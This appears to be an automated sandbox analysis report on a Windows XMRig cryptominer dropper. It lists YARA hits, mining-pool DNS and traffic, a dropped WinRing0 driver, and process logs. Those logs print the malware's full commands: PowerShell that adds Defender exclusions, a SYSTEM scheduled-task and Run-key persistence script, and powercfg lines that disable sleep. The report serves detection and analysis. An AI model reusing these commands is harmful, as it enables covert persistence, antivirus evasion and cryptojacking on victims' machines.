Source: Yara match	File source: 16.2.xjfgcnhmcvxy.exe.7ff723470000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.xjfgcnhmcvxy.exe.7ff72348fc00.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2615840139.000002B9B4427000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2615840139.000002B9B44C4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1707623365.00007FF72347C000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2615840139.000002B9B43E9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 8180, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\tkfgvduf.tmp, type: DROPPED

DNS related to crypt mining pools

Source: unknown

DNS query: name: xmr-eu1.nanopool.org

Found strings related to Crypto-Mining

Source: tkfgvduf.tmp.16.dr

String found in binary or memory: FileDescriptionXMRig miner.

Source: C:\Program Files\xjfgcnhmcvxy.exe	Directory created: C:\Program Files\Google\Libs			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Directory created: C:\Program Files\Google\Libs\g.log

Source: ahlntQUj2t.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WR64.sys.16.dr

Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Code function: 4x nop then push rbx	0_2_00007FF624AC55C8
Source: C:\Program Files\xjfgcnhmcvxy.exe	Code function: 4x nop then push rbx	16_2_00007FF7234755C8
Source: C:\Windows\System32\conhost.exe	Code function: 4x nop then push rbx	28_2_00007FF6B1A246F3

Source: global traffic

TCP traffic: 192.168.2.7:49855 -> 54.37.232.103:10343

Source: Joe Sandbox View

IP Address: 54.37.232.103 54.37.232.103

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:49782
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.7:49924

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: xmr-eu1.nanopool.org

Source: conhost.exe, 00000022.00000002.2616177696.000002B9B49D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.cloudflare.com/origin_ca.crl
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.cloudflare.com/origin_ca.crl0
Source: conhost.exe, 00000022.00000002.2616177696.000002B9B49D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.cloudflare.com/origin_ca.crlXd
Source: WR64.sys.16.dr	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: WR64.sys.16.dr	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: WR64.sys.16.dr	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: WR64.sys.16.dr	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: powershell.exe, 00000007.00000002.1442724674.0000026CF7DA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1565918785.000001EF3B1FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1468881092.000001EF2CB64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1565918785.000001EF3B336000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.cloudflare.com/origin_ca
Source: conhost.exe, 00000022.00000002.2615840139.000002B9B4441000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 00000022.00000002.2616177696.000002B9B49D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.cloudflare.com/origin_ca0
Source: powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000007.00000002.1423008816.0000026CE7F58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000007.00000002.1423008816.0000026CE7D31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1468881092.000001EF2B181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.0000027088B05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000007.00000002.1423008816.0000026CE7F58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000D.00000002.1468881092.000001EF2C78E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000007.00000002.1423008816.0000026CE7D31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1468881092.000001EF2B181000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.0000027088B05000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.000002708A9A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000007.00000002.1423008816.0000026CE9BD8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1423008816.0000026CE9BFF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.000002708A97F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1542046596.000002708A9A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000015.00000002.1542046596.0000027088D18000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000D.00000002.1468881092.000001EF2C2F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000007.00000002.1442724674.0000026CF7DA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1565918785.000001EF3B1FF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1468881092.000001EF2CB64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1565918785.000001EF3B336000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1669199935.0000027098B64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000D.00000002.1468881092.000001EF2C78E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 0000000D.00000002.1468881092.000001EF2C78E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

System Summary

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Code function: 0_2_00007FF624AC4B40 NtCreateUserProcess,	0_2_00007FF624AC4B40
Source: C:\Program Files\xjfgcnhmcvxy.exe	Code function: 16_2_00007FF723474B40 NtWriteFile,	16_2_00007FF723474B40
Source: C:\Windows\System32\conhost.exe	Code function: 28_2_00007FF6B1A23C70 NtReadFile,	28_2_00007FF6B1A23C70

Source: C:\Program Files\xjfgcnhmcvxy.exe

File created: C:\Program Files\Google\Libs\WR64.sys

Jump to behavior

Source: C:\Program Files\xjfgcnhmcvxy.exe

File deleted: C:\Windows\Temp\tkfgvduf.tmp

Jump to behavior

Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Code function: 0_2_00007FF624AC2D40	0_2_00007FF624AC2D40
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Code function: 0_2_00007FF624AC8DF0	0_2_00007FF624AC8DF0
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Code function: 0_2_00007FF624AC3650	0_2_00007FF624AC3650
Source: C:\Program Files\xjfgcnhmcvxy.exe	Code function: 16_2_00007FF723473650	16_2_00007FF723473650
Source: C:\Program Files\xjfgcnhmcvxy.exe	Code function: 16_2_00007FF723472D40	16_2_00007FF723472D40
Source: C:\Program Files\xjfgcnhmcvxy.exe	Code function: 16_2_00007FF723478DF0	16_2_00007FF723478DF0
Source: C:\Windows\System32\conhost.exe	Code function: 28_2_00007FF6B1A222E0	28_2_00007FF6B1A222E0
Source: C:\Windows\System32\conhost.exe	Code function: 28_2_00007FF6B1A22BF0	28_2_00007FF6B1A22BF0
Source: C:\Windows\System32\conhost.exe	Code function: 28_2_00007FF6B1A21560	28_2_00007FF6B1A21560
Source: C:\Windows\System32\conhost.exe	Code function: 28_2_00007FF6B1A27F20	28_2_00007FF6B1A27F20

Source: Joe Sandbox View

Dropped File: C:\Program Files\Google\Libs\WR64.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: xjfgcnhmcvxy.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: ahlntQUj2t.exe	Static PE information: Number of sections : 11 > 10

Source: WR64.sys.16.dr

Binary string: \Device\WinRing0_1_2_0

Source: classification engine

Classification label: mal100.spyw.evad.mine.winEXE@53/24@2/1

Source: C:\Users\user\Desktop\ahlntQUj2t.exe

File created: C:\Program Files\xjfgcnhmcvxy.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7696:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7724:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:2044:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Global\gzssianthtxzdggz
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:8132:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kdikchqo.reh.ps1

Jump to behavior

Source: ahlntQUj2t.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"

Source: C:\Users\user\Desktop\ahlntQUj2t.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ahlntQUj2t.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\ahlntQUj2t.exe

File read: C:\Users\user\Desktop\ahlntQUj2t.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ahlntQUj2t.exe "C:\Users\user\Desktop\ahlntQUj2t.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydxtfs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GQFENPEL" } Else { "C:\Program Files\xjfgcnhmcvxy.exe" }
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL
Source: unknown	Process created: C:\Program Files\xjfgcnhmcvxy.exe "C:\Program Files\xjfgcnhmcvxy.exe"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe xcgkmjxjdowq
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic PATH Win32_VideoController GET Name, VideoProcessor
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\System32\conhost.exe gzssianthtxzdggz 6E3sjfZq2rJQaxvLPmXgsBL6xjjYguHWtOpZ+stIdvug8Rp3hiani4Twfqfj5pfOQ4C5/lIR+WrKX/39lFBfrYgVA5xlELaQrgfEYI/1+l+sm6d1wY+jp8lQ+gyInBZtRryf27JkgwVg8+gc8zt/+Qw/FqR21gXGsiWp5M1/PaUO8B8L/yFa9vhQOOMQzU9osOZwr+lVWCnvU0S6ajO3l3PA+IO3tZ+KIHzg9oJDykmRT9FPoLVpg3f2E+S/d4wYAneGaTBaw9u+h7ySSQW4uLa2RdrQlsNvaothGQq4OkU9/7weTT4gwdlFYcJqzkf6CrPgHCU2Z2X/1LqnGA0Z/oGM3RQZ3KFMH6aI6u72Mx/Roo9xz5ogo8pI2aMP1z57eBCyYbXyiGT0rCG540iwNf53KRDw5r+qu9TX7DnABrUnuCbtJtyaOErrfhHdH0mzc3oHhwbzk+xXdFEnj5LezfN80ibSpckaUWKu/Nc8n5n3862TFcZoV3+5pG7wnvACa9eswJk6IY7ANEpRFN9HJzRPurRT3aTK7NgnMwc4gmU=
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ubqexh#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GQFENPEL' /tr '''C:\Program Files\xjfgcnhmcvxy.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\xjfgcnhmcvxy.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GQFENPEL' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GQFENPEL" /t REG_SZ /f /d 'C:\Program Files\xjfgcnhmcvxy.exe' }	Jump to behavior
Source: C:\Users\user\Desktop\ahlntQUj2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#ydxtfs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GQFENPEL" } Else { "C:\Program Files\xjfgcnhmcvxy.exe" }	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /run /tn GQFENPEL	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Program Files\xjfgcnhmcvxy.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
